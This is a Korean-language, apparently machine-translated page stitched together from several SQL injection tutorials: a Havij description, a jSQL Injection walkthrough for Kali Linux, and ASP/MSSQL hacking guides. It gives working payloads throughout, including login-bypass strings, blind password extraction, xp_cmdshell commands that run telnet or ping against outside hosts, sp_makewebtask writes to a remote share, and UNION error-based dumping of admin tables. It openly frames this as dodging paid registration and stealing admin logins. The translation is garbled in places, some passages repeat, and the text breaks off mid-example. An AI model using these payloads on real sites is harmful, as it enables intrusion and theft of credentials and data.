SQL 인젝션 프로그램입니다. Kali Linux에서 SQL 주입을 찾아 활용하기 위한 다기능 도구인 jSQL 주입 사용에 대한 지침입니다. jSQL 주입을 사용한 무차별 대입 해시

Havij는 웹사이트 취약점을 검사하는 프로그램입니다. 대부분의 경우 주요 목적, 즉 SQL 주입 주입에는 사용되지 않습니다. 이 때문에 이 도구는 "해킹" 소프트웨어로 가장 자주 분류됩니다.

작동 원리

이 애플리케이션을 사용하면 연결을 통해 SQL 표현식을 변경하기 위해 웹 서비스에 대한 공격을 수행할 수 있습니다. 성공하면 주입을 통해 필요에 맞게 사용자 요청을 실행하는 논리를 수정할 수 있습니다. 종종 공격 중에 데이터베이스의 간단한 지문이 생성된 후 사용자 데이터베이스 또는 관리자 계정과 같은 필요한 데이터를 데이터베이스에서 가져옵니다. 취약점이 있는 경우 공격자는 웹 애플리케이션의 백엔드 부분과 상호 작용할 수도 있습니다. 특히 이러한 구현을 통해 서버에서 필요한 명령을 실행하거나 호스트 측에서 필요한 파일을 볼 수 있습니다.

가능성

Havij를 사용하면 비밀번호 해시와 테이블 덤프를 저장할 수 있습니다. 이 프로그램을 사용하면 오류 기반 SQL 주입, UNION 쿼리 SQL 주입, 스택 쿼리 SQL 주입, 시간 기반 블라인드 SQL 주입, 부울 기반 블라인드 SQL 주입 등 다양한 유형의 주입을 수행할 수 있습니다. 이 도구는 HTTPS와 함께 작동하며 MSAccess, MySQL, Oracle, PostgreSQ, Sybase 등 다양한 DBMS 유형을 지원합니다. 필요한 경우 Havij는 프록시를 통해 여러 스레드에서 작업할 수 있습니다.

포함된 코드의 구문은 수동으로 편집할 수 있습니다. 또한 공격을 시작하기 전에 검색된 키워드 목록, 테이블 열 또는 데이터 유형(예: 정수 또는 분수)을 선택할 수 있습니다.

작업 중에 Havij는 수행된 작업에 대한 자세한 로그를 유지하며, 공격이 완료된 후 프로그램 폴더에 저장됩니다. 애플리케이션의 인터페이스는 매우 직관적이며 모든 주요 컨트롤이 하나의 창에 들어있습니다.

주요 특징들

  • 필요한 구문으로 SQL 주입을 수행합니다.
  • 다양한 구현 옵션 지원
  • 웹사이트 및 애플리케이션 취약점 검색
  • 다양한 유형의 DBMS로 작업하는 능력;
  • HTTPS 및 프록시 지원.

SQL 주입해커가 얻을 수 있는 아주 좋은 기회
서버에 액세스합니다. 그리고 그는 약간의 노력으로
아직도 그것을 얻습니다 :)

코더 내부

요즘에는 데이터베이스 작업이 지원됩니다.
거의 모든 프로그래밍 언어에는 BASIC, C++, Java, PERL, PHP, Assembler 및 JavaScript도 포함됩니다! 그리고 이러한 프로그램은 단지 DBMS(데이터베이스 관리 시스템)라고 불립니다. 데이터베이스는 종종 재정 문제를 해결하는 데 사용됩니다.
회계, 인사 조직이지만 인터넷에서도 응용 프로그램을 찾았습니다.

데이터베이스는 웹 애플리케이션을 작성하는 데 자주 사용됩니다. 이러한 사용은 사용자 등록 데이터, 세션 식별자, 검색 구성 및 더 많은 처리가 필요한 기타 작업을 저장하는 데 가장 적합합니다.
데이터의 양. 데이터베이스에 액세스하기 위해 PHP, PERL, ASP 등의 서버 기술이 사용됩니다. 이것이 재미가 시작되는 곳입니다. 서버에 있을 때
모든 패치가 설치되어 있고 방화벽이 포트 80을 제외한 모든 포트를 차단하거나 일부 데이터에 액세스하기 위해 인증이 필요한 경우 해커가 SQL 주입을 사용하여 해킹할 수 있습니다. 이 공격의 본질은 WEB 기술과 SQL의 교차점에서 오류를 이용하는 것입니다. 사실은 사용자 데이터를 처리하기 위한 많은 웹페이지가 특별한 SQL데이터베이스 요청. 이 기술을 부주의하게 사용하면 꽤 흥미로운 결과가 나올 수 있습니다.

SQL 주입

공격을 설명하기 위해 매우 중요한 도구 하나를 다운로드하기 위해 사이트에 갔다가 등록된 사용자만이 이 작업을 수행할 수 있으며 등록에는 물론 비용이 든다는 사실을 공포에 떨며 알아차렸다고 가정해 보겠습니다. 마지막으로 돈을 벌었지만 프로그램 없이는 할 수 없습니다! 방법을 기억할 시간입니다.
데이터베이스에 액세스 SQL. 예를 들어, PHP에서 로그인 및 비밀번호를 확인하는 방법은 다음과 같습니다.

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// 인증 완료
}
또 다른
{
// 인증 오류
}

"AUTHENTICATION OK"라는 두 개의 코멘트를 추가했습니다. 대신에
비밀번호와 로그인이 올바르면 실행될 코드로 이동하세요. 또 다른 "AUTHENTICATION ERROR"는 잘못된 경우 실행될 코드를 설명하는 곳입니다. 양식을 작성하면 요청은 "http://www.server.com?login=user&password=31337"과 같습니다. 여기서 www.server.com은 이름입니다.
우리가 연결하려는 서버. 우리는 우리가 찾고 있던 것을 찾았으므로 다시 일하러 돌아갈 것입니다 SQL. 따라서 인증을 위해 로그인 및 비밀번호를 지정해야 하는 경우 생성된 SQL요청은 다음과 같습니다.

SELECT * FROM 사용자 WHERE 로그인="사용자" AND
비밀번호="31337"

이는 다음과 같은 것을 의미합니다. 로그인이 "user"이고 비밀번호가 "31337"인 사용자 데이터베이스의 모든 레코드를 나에게 반환합니다. 그러한 기록이 존재하면 사용자는 등록되지만, 그렇지 않으면 등록되지 않습니다... 그러나 특정 상황에서는 모든 것이 수정될 수 있습니다. 이는 애플리케이션이 전송된 데이터의 내용을 확인하지 않거나 존재 여부를 완전히 확인하지 않는 상황을 말합니다. SQL지침. 이 예에서는 로그인과 비밀번호 두 필드가 확인되지만 "31337" AND email="을 비밀번호로 지정하는 경우 [이메일 보호됨]"(큰따옴표 없이) 쿼리는 약간 다르게 나타납니다.

SELECT * FROM 사용자 WHERE 로그인="사용자" AND 비밀번호="31337" AND
이메일=" [이메일 보호됨]"

그리고 이메일 필드가 존재하는 경우 이 조건도 확인됩니다. 부울 대수학의 기본을 기억한다면 "and" 연산 외에 "or"도 있다는 사실을 떠올릴 것입니다. 그리고 그 사용은 SQL에서 지원되기 때문에 다음을 수행할 수 있습니다.
설명된 방식으로 항상 true를 반환하는 조건을 추가합니다. 이렇게 하려면 로그인으로 "user" OR 1=1--을 지정해야 합니다. 이 경우 요청은 다음 형식을 취합니다.

SELECT * FROM 사용자 WHERE login="user" OR 1=1--" AND
비밀번호="31337"

먼저 "--"는 요청의 끝을 의미하고 "--" 이후의 모든 것을 의미한다는 것을 알아야 합니다.
처리되지 않습니다! 우리가 요청한 것으로 밝혀졌습니다.

SELECT * FROM 사용자 WHERE 로그인="사용자" OR 1=1

보시다시피 "1=1" 조건을 추가했습니다. 즉, 확인 기준은 "로그인이 "사용자"이거나 1=1인 경우"이지만 1은 항상 1과 같습니다(유일한 예외는 Dani Shepovalov의 산술일 수 있음). :)). 우리의 의심을 확인하기 위해
주소 표시줄에 "http://www.server.com?login=user 또는 1=1--&password=31337"을 입력합니다. 이로 인해 우리가 어떤 로그인을 지정했는지는 중요하지 않지만
특히 비밀번호! 그리고 우리는 매트릭스, 시스템에 있으며 필요한 것을 침착하게 다운로드할 수 있습니다.

그러나 이것은 모두 이론상이다. 실제로 우리는 요청이 어떻게 형성되는지, 어떤 데이터가 어떤 순서로 전송되는지 알 수 없습니다. 따라서 모든 필드에 대해 "user" OR 1=1--"를 지정해야 합니다. 또한 숨겨진 필드에 대한 제출 양식을 확인해야 합니다. HTML에서는 "로 설명됩니다. ". 존재하는 경우 페이지를 저장하고 해당 필드의 값을 변경하십시오. 여기에 포함된 값은 SQL 문이 있는지 확인하기 위해 종종 잊혀집니다. 그러나 모든 것이 작동하려면 전체를 지정해야 합니다. 이 요청을 처리하는 "ACTION" 매개변수에 대한 형식("FORM" 태그)의 스크립트 경로입니다.

그러나 요청이 어떻게 구성되는지 항상 알 수 있는 것은 아닙니다.
이전 예제는 다음과 같은 방식으로 구성될 수 있습니다.

SELECT * FROM 사용자 WHERE(로그인="사용자" AND 비밀번호="31337")
SELECT * FROM 사용자 WHERE 로그인="사용자" AND 비밀번호="31337"
SELECT * FROM users WHERE 로그인=사용자 AND 비밀번호=31337

이 경우 다음 옵션을 시도해 볼 수 있습니다.

"또는 1=1--
"또는 1=1--
또는 1=1--
" 또는 "a"="a
" 또는 "a"="a
") OR ("a"="a
또는 "1"="1"

그것은 모두 스크립트의 목적과 프로그래머에 따라 다릅니다. 각 사람은 자신의 방식으로 모든 작업을 수행하는 경향이 있으므로 프로그래머가 가장 쉬운 옵션을 선택하지 않을 가능성이 높습니다. 그러므로 즉시 해서는 안 된다.
거절당하면 포기하세요. 필요한
가능한 많은 옵션을 시도해보세요..

비밀번호 감지

인증을 우회하는 것은 나쁘지 않지만, 사용하고 있는 구멍이 닫히고 사용 가능한 모든 것이 손실되는 경우가 많습니다.
프로그래머가 바보가 아니라면 이는 예상할 수 있는 일입니다.
시간이 지나면 모든 허점이 닫힐 것입니다. 이러한 상황을 미리 처리하면 쉽게 제거할 수 있습니다. 올바른 해결책은 다음을 사용하여 비밀번호를 추측하는 것입니다.
인증 결과 분석. 먼저 비밀번호를 추측해 보겠습니다. 이를 위해 해당 위치를 입력하세요.

"OR 비밀번호>"a

인증이 통과되었다는 메시지가 나타나면 비밀번호는
문자 "a"로 시작하지 않지만 목록에 다음 중 하나가 포함되어 있습니다. 계속해서 대체하자
"a", 다음 "b", "c", "d", "e"... 등을 배치합니다. 비밀번호가 올바르지 않다고 말할 때까지. 이 프로세스가 문자 "x"에서 중지되도록 하세요. 이 경우 상황 전개를 위한 두 가지 옵션이 생성됩니다. 즉, 비밀번호를 찾거나 비밀번호가 이 문자로 시작합니다. 첫 번째 옵션을 확인하려면 비밀번호 위치를 작성하십시오.

"또는 비밀번호="x

비밀번호가 승인되고 입장이 허용되면 비밀번호를 추측하신 것입니다! 아뇨, 그러면 두 번째 캐릭터를 선택해야 합니다.
처음부터 똑같습니다. 두 문자를 확인하세요.
같은 것이 필요합니다. 마지막으로 비밀번호를 받게되고, 같은 방법으로 로그인을 찾아보게 됩니다 :)
찾은 비밀번호와 로그인이 귀하에게 적합하지 않으면 다른 비밀번호를 찾을 수 있습니다. 이렇게 하려면 찾은 비밀번호의 마지막 문자부터 확인을 시작해야 합니다. 따라서 비밀번호가 "xxx"인 경우 비밀번호 존재 여부를 확인해야 합니다.
"xxxy":

"또는 비밀번호="xxx

하나 이상의 옵션을 놓치지 않도록!

MS SQL 서버

MS SQL Server는 필요한 필터링이 누락된 경우 일반적으로 신의 선물입니다. 실행할 수 있는 SQL 주입 취약점을 사용하여
exec master..xp_cmdshell을 사용하여 원격 서버에서 명령을 실행합니다. 하지만 이 디자인을 사용하려면
SELECT 작업이 완료되어야 합니다. SQL에서는 명령문이 세미콜론으로 구분됩니다. 따라서 Telnet을 통해 일부 IP에 연결하려면 비밀번호/로그인을 입력해야 합니다.

"; exec master..xp_cmdshell "텔넷 192.168.0.1" --

MS SQL Server에는 데이터베이스에 저장된 로그인 및 비밀번호를 찾을 수 있는 몇 가지 흥미로운 기능이 있습니다. 이를 위해 오류 출력은 임의의 서버로 리디렉션되고 이를 통해
분석을 통해 테이블 ​​이름, 필드 및 유형을 확인할 수 있습니다. 그 후에 요청할 수 있습니다

" 사용자로부터 UNION SELECT TOP 1 로그인--

(login은 로그인이 포함된 필드 이름이고, users는 테이블 이름이며,
오류 분석 과정에 있는 반과학자).

대답은 다음과 같습니다.


nvarchar 값 "admin을 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/default.asp, 27행

이제 우리는 "admin"이라는 사용자가 있다는 것을 알고 있습니다. 이제 그의 비밀번호를 알아낼 수 있습니다:

" 로그인이 "admin"인 사용자의 UNION SELECT TOP 1 비밀번호--

결과:

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07"
nvarchar 값 "xxx를 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/tedault.asp, 27행

이제 우리는 비밀번호가 "xxx"인 사용자 "admin"이 있다는 것을 알고 있습니다. 이것으로 안전하게 할 수 있습니다
그것을 사용하고 시스템에 로그인하세요 😉

하지만 SQL 작업을 위한 다른 많은 함수가 있습니다.
데이터베이스 작업 시 데이터 삭제, 수정, 직접 삽입, 파일 조작 및 레지스트리 작업도 가능합니다.
일반적으로 SQL Server 규칙입니다. :)

보호

그러나 물론 이 모든 것을 피할 수 있습니다. 이렇게하려면 다음을 수행하십시오.
필터를 사용하고,
제조업체에서 제공합니다. 예를 들어 모든 단일 제품을 교체하는 등 자신만의 솔루션을 찾을 수 있습니다.
큰따옴표(인 경우 SQL단일 항목을 사용하도록 요청하거나 그 반대의 경우도 마찬가지입니다. 입력해야 하는 경우 문자와 s@baki만 사용하도록 허용할 수 있습니다.
이메일 주소. 그리고 진주에는 놀라운 것이 있습니다
DBI::DBD 모듈의 🙂 quote() 함수는 쿼리를 성공적으로 안전하게 만듭니다. SQL. 많은 솔루션이 있습니다. 필요한 것뿐입니다.
활용하십시오. 그렇지 않다면 왜 이 모든 것이...

다운로드한 파일을 더블클릭하여 실행합니다. (가상머신이 있어야 합니다.)

3. SQL 인젝션 사이트 확인 시 익명성 보장

Kali Linux에서 Tor 및 Privoxy 설정

[개발중인 구간]

Windows에서 Tor 및 Privoxy 설정

[개발중인 구간]

jQuery 주입의 프록시 설정

[개발중인 구간]

4. jSQL 인젝션으로 SQL 인젝션 사이트 확인

프로그램 작업은 매우 간단합니다. 웹사이트 주소를 입력하고 ENTER를 누르세요.

다음 스크린샷은 해당 사이트가 세 가지 유형의 SQL 주입에 취약함을 보여줍니다(이들에 대한 정보는 오른쪽 하단에 표시됨). 주사 이름을 클릭하면 사용 방법을 전환할 수 있습니다.

또한 기존 데이터베이스가 이미 표시되었습니다.

각 테이블의 내용을 볼 수 있습니다.

일반적으로 테이블에서 가장 흥미로운 점은 관리자 자격 증명입니다.

운이 좋아서 관리자의 데이터를 찾았다면 아직 기뻐하기에는 너무 이릅니다. 이 데이터를 입력할 수 있는 관리 패널을 찾아야 합니다.

5. jSQL 인젝션으로 관리자 패널 검색

이렇게 하려면 다음 탭으로 이동하세요. 여기에 가능한 주소 목록이 표시됩니다. 확인할 페이지를 하나 이상 선택할 수 있습니다.

다른 프로그램을 사용할 필요가 없다는 점이 편리합니다.

불행하게도 비밀번호를 일반 텍스트로 저장하는 부주의한 프로그래머는 그리 많지 않습니다. 비밀번호 입력란에 다음과 같은 내용이 자주 표시됩니다.

8743b52063cd84097a65d1633f5c74f5

이것은 해시입니다. 무차별 대입을 사용하여 암호를 해독할 수 있습니다. 그리고... jSQL 주입에는 무차별 대입 도구가 내장되어 있습니다.

6. jSQL 주입을 사용한 무차별 대입 해시

의심할 여지 없는 편리함은 다른 프로그램을 찾을 필요가 없다는 것입니다. 가장 널리 사용되는 해시가 많이 지원됩니다.

이것은 최선의 선택이 아닙니다. 해시 디코딩 전문가가 되려면 러시아어로 된 ""책을 권장합니다.

하지만 물론, 다른 프로그램이 없거나 공부할 시간이 없을 때는 무차별 대입 기능이 내장된 jSQL 주입이 매우 유용할 것입니다.

설정이 있습니다. 비밀번호에 포함되는 문자, 비밀번호 길이 범위를 설정할 수 있습니다.

7. SQL 주입 감지 후 파일 작업

데이터베이스 작업(읽기 및 수정) 외에도 SQL 주입이 감지되면 다음 파일 작업을 수행할 수 있습니다.

  • 서버에서 파일 읽기
  • 서버에 새 파일 업로드
  • 서버에 쉘 업로드

그리고 이 모든 것이 jSQL 주입으로 구현됩니다!

제한 사항이 있습니다. SQL Server에는 파일 권한이 있어야 합니다. 합리적인 시스템 관리자는 이를 비활성화하여 파일 시스템에 액세스할 수 없게 합니다.

파일 권한이 있는지 확인하는 것은 매우 간단합니다. 탭(파일 읽기, 셸 생성, 새 파일 업로드) 중 하나로 이동하여 지정된 작업 중 하나를 수행해 보세요.

또 다른 매우 중요한 참고 사항은 작업할 파일의 정확한 절대 경로를 알아야 한다는 것입니다. 그렇지 않으면 아무것도 작동하지 않습니다.

다음 스크린샷을 보세요.

파일에 대한 작업을 시도하면 다음과 같은 응답을 받습니다. FILE 권한 없음(파일 권한 없음). 그리고 여기서는 아무것도 할 수 없습니다.

대신 다른 오류가 발생하는 경우:

[directory_name]에 쓰는 동안 문제가 발생했습니다.

이는 파일을 쓰려는 절대 경로를 잘못 지정했음을 의미합니다.

절대 경로를 추측하려면 최소한 서버가 실행 중인 운영 체제를 알아야 합니다. 이렇게 하려면 네트워크 탭으로 전환하세요.

이런 기록(라인 Win64)는 우리가 Windows OS를 다루고 있다고 가정할 이유를 제공합니다.

Keep-Alive: timeout=5, max=99 서버: Apache/2.4.17 (Win64) PHP/7.0.0RC6 연결: Keep-Alive 방법: HTTP/1.1 200 OK 콘텐츠 길이: 353 날짜: 2015년 12월 11일 금요일 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 콘텐츠 유형: text/html; 문자셋=UTF-8

여기에 몇 가지 Unix(*BSD, Linux)가 있습니다.

전송 인코딩: 청크 날짜: 2015년 12월 11일 금요일 11:57:02 GMT 방법: HTTP/1.1 200 OK 연결 유지: 시간 초과=3, 최대=100 연결: 연결 유지 콘텐츠 유형: text/html X- 제공: PHP/5.3.29 서버: Apache/2.2.31(Unix)

여기에 CentOS가 있습니다.

방법: HTTP/1.1 200 OK 만료: 1981년 11월 19일 목요일 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ 연결: keep-alive X-Cache-Lookup: MISS from t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS from t1.hoster.ru:6666 t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache 날짜: 2015년 12월 11일 금요일 12:08:54 GMT 전송 인코딩: 청크 콘텐츠 유형: text/html; 문자셋=WINDOWS-1251

Windows에서 사이트의 일반적인 폴더는 다음과 같습니다. C:\서버\데이터\htdocs\. 그러나 실제로 누군가가 Windows에서 서버를 만드는 것을 "생각"했다면 이 사람은 권한에 대해 전혀 들어본 적이 없을 가능성이 높습니다. 따라서 C:/Windows/ 디렉터리에서 직접 시도를 시작해야 합니다.

보시다시피 처음에는 모든 것이 잘 진행되었습니다.

그러나 jSQL 주입 쉘 자체는 내 마음 속에 의심을 불러일으킵니다. 파일 권한이 있으면 웹 인터페이스를 사용하여 쉽게 업로드할 수 있습니다.

8. SQL 인젝션 사이트 일괄 확인

그리고 이 기능도 jSQL 주입에서 사용할 수 있습니다. 모든 것이 매우 간단합니다. 사이트 목록을 다운로드하고(파일에서 가져올 수 있음) 확인하려는 사이트를 선택한 다음 해당 버튼을 클릭하여 작업을 시작합니다.

JSQL 주입의 결론

jSQL 주입은 웹사이트에서 발견된 SQL 주입을 검색하고 사용하기 위한 훌륭하고 강력한 도구입니다. 의심할 여지 없는 장점은 사용 용이성, 관련 기능 내장입니다. 웹사이트를 분석할 때 jQuery 주입은 초보자에게 가장 좋은 친구가 될 수 있습니다.

단점 중 하나는 데이터베이스 편집이 불가능하다는 점입니다(적어도 이 기능은 찾지 못했습니다). 모든 GUI 도구와 마찬가지로 이 프로그램의 단점 중 하나는 스크립트에서 사용할 수 없다는 점입니다. 그럼에도 불구하고, 내장된 대량 사이트 확인 기능 덕분에 이 프로그램에서는 일부 자동화도 가능합니다.

jSQL 주입 프로그램은 sqlmap보다 사용하기가 훨씬 편리합니다. 그러나 sqlmap은 더 많은 유형의 SQL 삽입을 지원하고 파일 방화벽 및 기타 기능 작업을 위한 옵션을 제공합니다.

요점: jSQL 주입은 초보 해커의 가장 친한 친구입니다.

Kali Linux 백과사전의 이 프로그램에 대한 도움말은 다음 페이지에서 찾을 수 있습니다: http://kali.tools/?p=706

인형용 SQL 주입, ASP+MSSQL 해킹

알렉산더 안티포프

이 기사에는 새로운 사실이 포함되어 있지 않습니다. SQL 주입은 어디에서나 널리 설명되고 사용됩니다. 이 기사는 초보자를 대상으로 작성되었지만 아마도 전문가도 한두 가지 새로운 요령을 찾을 수 있을 것입니다.


이 문서는 초보자가 SQL 주입 기술을 사용할 때 발생할 수 있는 문제를 처리하고 이를 성공적으로 사용하며 이러한 공격으로부터 자신을 보호할 수 있도록 돕기 위해 작성되었습니다.

소개

관심 있는 서버에 포트 80만 열려 있고 취약점 스캐너가 흥미로운 내용을 보고할 수 없으며 시스템 관리자가 항상 웹 서버에 모든 패치를 매우 신속하게 설치한다는 것을 알고 있다면 마지막 기회는 웹 해킹입니다. SQL 인젝션은 포트 80만 사용하는 웹 해킹 유형 중 하나로 적시에 패치를 설치해도 작동할 수 있다. 이 공격은 웹 서버나 OS의 서비스를 직접 공격하는 것보다 웹 애플리케이션(예: ASP, JSP, PHP, CGI 등)을 더 겨냥합니다.

이 기사에는 새로운 사실이 포함되어 있지 않습니다. SQL 주입은 어디에서나 널리 설명되고 사용됩니다. 이 기사는 초보자를 대상으로 작성되었지만 아마도 전문가도 한두 가지 새로운 요령을 찾을 수 있을 것입니다. 또한 해당 분야 전문가가 제공하는 자세한 정보를 보려면 기사 끝 부분에 있는 링크를 확인하는 것이 좋습니다.

1.1 SQL 인젝션이란?

SQL 주입은 웹 페이지를 통해 SQL 쿼리/명령을 주입하도록 설계된 방법입니다. 많은 웹 페이지는 웹 사용자에게 제공되는 매개변수를 사용하고 데이터베이스에 대한 SQL 쿼리를 만듭니다. 예를 들어, 사용자 로그인의 경우, 이름과 비밀번호가 있는 웹 페이지가 있고 해당 이름과 비밀번호를 가진 등록된 사용자가 있는지 확인하기 위해 데이터베이스에 SQL 쿼리가 작성되는 경우를 생각해 보겠습니다. SQL 주입을 사용하면 SQL 쿼리를 수정하는 구성된 사용자 이름 및/또는 비밀번호 필드를 보낼 수 있어 몇 가지 흥미로운 결과를 얻을 수 있습니다.

2.0 우리가 찾아야 할 것

검색 페이지, 토론 페이지 등 데이터를 요구하는 페이지를 찾아보세요. 때때로 HTML 페이지는 POST 메서드를 사용하여 다른 웹 페이지에 명령을 보냅니다. 이 경우 URL에 매개변수가 표시되지 않습니다. 그러나 이 경우 페이지의 HTML 소스 코드에서 "FORM" 태그를 찾아볼 수 있습니다. 다음과 같은 내용을 찾을 수 있습니다.



사이의 모든 매개변수

그리고
잠재적으로 SQL 주입에 취약할 수 있습니다.

2.1 입력을 사용하는 페이지를 찾지 못하면 어떻게 되나요?

ASP, JSP, CGI 또는 PHP 웹 페이지와 같은 페이지를 찾으십시오. 다음과 같은 매개변수를 사용하는 페이지를 찾아보세요.

3.0. 내가 발견한 것이 취약한지 어떻게 확인할 수 있나요?

작은따옴표로 시작해 보세요. 다음 줄을 입력하세요.

안녕" 또는 1=1--

사용자 이름이나 비밀번호 필드 또는 URL 매개변수에도 있습니다. 예:

로그인: hi" 또는 1=1--
전달: hi" 또는 1=1--
http://duck/index.asp?id=hi" 또는 1=1--

숨겨진 필드로 이 작업을 수행한 경우 원본 HTML을 다운로드하여 하드 드라이브에 저장하고 이에 따라 URL과 숨겨진 필드를 변경하세요. 예:



운이 좋으면 사용자 이름이나 비밀번호 없이 로그인할 수 있습니다.

3.1 그런데 왜 " 또는 1=1--인가요?

" 또는 1=1-- 구성의 유용성을 설명하는 또 다른 예를 살펴보겠습니다. 등록을 우회하는 것 외에도 일반적으로 사용할 수 없는 추가 정보도 볼 수 있습니다. 다음 URL:

http://duck/index.asp?category=food

URL에서 "category"는 변수의 이름이고 "food"는 해당 변수에 할당된 값입니다. 이를 위해 ASP 페이지에는 다음 코드가 포함될 수 있습니다.

v_cat = 요청("카테고리")
sqlstr="SELECT * FROM 제품 WHERE PCategory="" & v_cat & """
rs=conn.execute(sqlstr)를 설정합니다.

보시다시피 변수는 v_cat과 결합되므로 SQL 쿼리는 다음과 같습니다.

SELECT * FROM 제품 WHERE PCategory="식품"

이 쿼리는 WHERE 절과 일치하는 하나 이상의 행(이 경우 "food")을 포함하는 집합을 반환해야 합니다. 이제 URL을 다음과 같이 변경해 보겠습니다.

http://duck/index.asp?category=food" 또는 1=1--
SELECT * FROM product WHERE PCategory="food" 또는 1=1--'

이 쿼리는 Pcategory가 "food"인지 여부에 관계없이 제품 테이블의 모든 행을 반환합니다. 이중 대시 "-"는 MS SQL Server가 작은따옴표(") 뒤에 오는 나머지 쿼리를 무시하도록 지시합니다. 경우에 따라 이중 대시를 날카로운 "#"으로 바꿀 수 있습니다.

그러나 SQL이 아닌 서버를 사용 중이거나 쿼리의 나머지 부분을 무시할 수 없는 경우 다음을 시도해 보십시오.

" 또는 "a"="a

이제 SQL 쿼리는 다음과 같습니다.

SELECT * FROM 제품 WHERE PCategory="food" 또는 "a"="a"

이 쿼리는 동일한 결과를 반환합니다.

실제 SQL 쿼리에 따라 다음 가능성 중 일부를 시도해야 할 수도 있습니다.

"또는 1=1--
"또는 1=1--
또는 1=1--
" 또는 "a"="a
" 또는 "a"="a
") 또는 ("a"="a

4.0 SQL 주입을 사용하여 원격으로 명령을 실행하려면 어떻게 해야 합니까?

SQL 명령을 입력할 수 있다는 것은 일반적으로 SQL 쿼리를 마음대로 실행할 수 있음을 의미합니다. MS SQL Server의 기본 설치는 시스템 권한으로 실행됩니다. master..xp_cmdshell과 같은 내장 프로시저를 호출하여 원격으로 임의의 명령을 실행할 수 있습니다.

"; exec master..xp_cmdshell "ping 10.10.1.2" --

(")가 작동하지 않으면 큰따옴표(")를 사용해 보십시오.

세미콜론은 현재 SQL 쿼리를 종료하고 새 SQL 명령을 실행할 수 있게 해줍니다. 명령이 성공했는지 확인하려면 10.10.1.2의 ICMP 패킷을 검사하여 취약한 서버의 패킷이 포함되어 있는지 확인할 수 있습니다.

http://site/?ID=31610

서버로부터 ping 요청을 받지 못하고 권한 오류를 나타내는 오류 메시지를 받은 경우, 관리자가 저장 프로시저에 대한 웹 사용자의 액세스를 제한했을 가능성이 있습니다.

5.0 SQL 쿼리 결과를 어떻게 얻나요?

sp_makewebtask를 사용하여 HTML로 요청을 작성할 수 있습니다.

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

지정된 IP에는 모든 사람이 액세스할 수 있는 "공유" 폴더가 있어야 합니다.

6.0 ODBC 오류 메시지를 사용하여 데이터베이스에서 데이터를 검색하는 방법은 무엇입니까?

SQL 서버에서 생성된 오류 메시지의 정보를 사용하여 데이터를 검색할 수 있습니다. 예를 들어 다음 페이지를 살펴보세요.

http://duck/index.asp?id=10

이제 정수 '10'을 데이터베이스의 다른 행과 연결해 보겠습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

시스템 테이블 INFORMATION_SCHEMA.TABLES에는 서버에 있는 모든 테이블의 정보가 포함되어 있습니다.

TABLE_NAME 필드에는 분명히 데이터베이스의 각 테이블 이름이 포함됩니다. 그것은 항상 존재한다는 것을 우리가 알고 있기 때문에 선택되었습니다. 우리의 요청:

INFORMATION_SCHEMA.TABLES에서 상위 1개 TABLE_NAME 선택--

이 쿼리는 데이터베이스의 이름을 반환합니다. 이 문자열 값을 정수 10으로 UNION하면 MS SQL Server는 nvarchar 문자열을 정수로 변환하려고 시도합니다. nvarchar를 int로 변환할 수 없다는 오류가 발생합니다. 서버에서 다음 오류가 발생합니다.


nvarchar 값 "table1을 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/index.asp, 5번째 줄

오류 메시지에는 정수로 변환할 수 없는 값에 대한 정보가 포함되어 있습니다. 이 경우 첫 번째 테이블의 이름은 "table1"입니다.

다음 테이블 이름을 얻으려면 다음 쿼리를 사용할 수 있습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

LIKE 키를 사용하여 데이터를 검색할 수도 있습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07" nvarchar 값 "admin_login을 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !} /index.asp, 5번째 줄

해당 구성 "%25login%25"는 SQL Server에서 %login%으로 대체됩니다. 이 경우 "admin_login" 기준과 일치하는 테이블 이름을 가져옵니다.

6.1 테이블의 모든 열 이름을 어떻게 알 수 있나요?

INFORMATION_SCHEMA.COLUMNS 테이블을 사용하여 테이블의 모든 열 이름을 표시할 수 있습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07"
nvarchar 값 "login_id를 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/index.asp, 5번째 줄

이제 첫 번째 열 이름을 알았으므로 NOT IN()을 사용하여 다음 열 이름을 가져올 수 있습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07"
nvarchar 값 "login_name을 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/index.asp, 5번째 줄

계속해서 나머지 열 이름을 얻습니다. 다음 오류가 발생할 때까지 "password", "details"를 입력하세요.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e14"
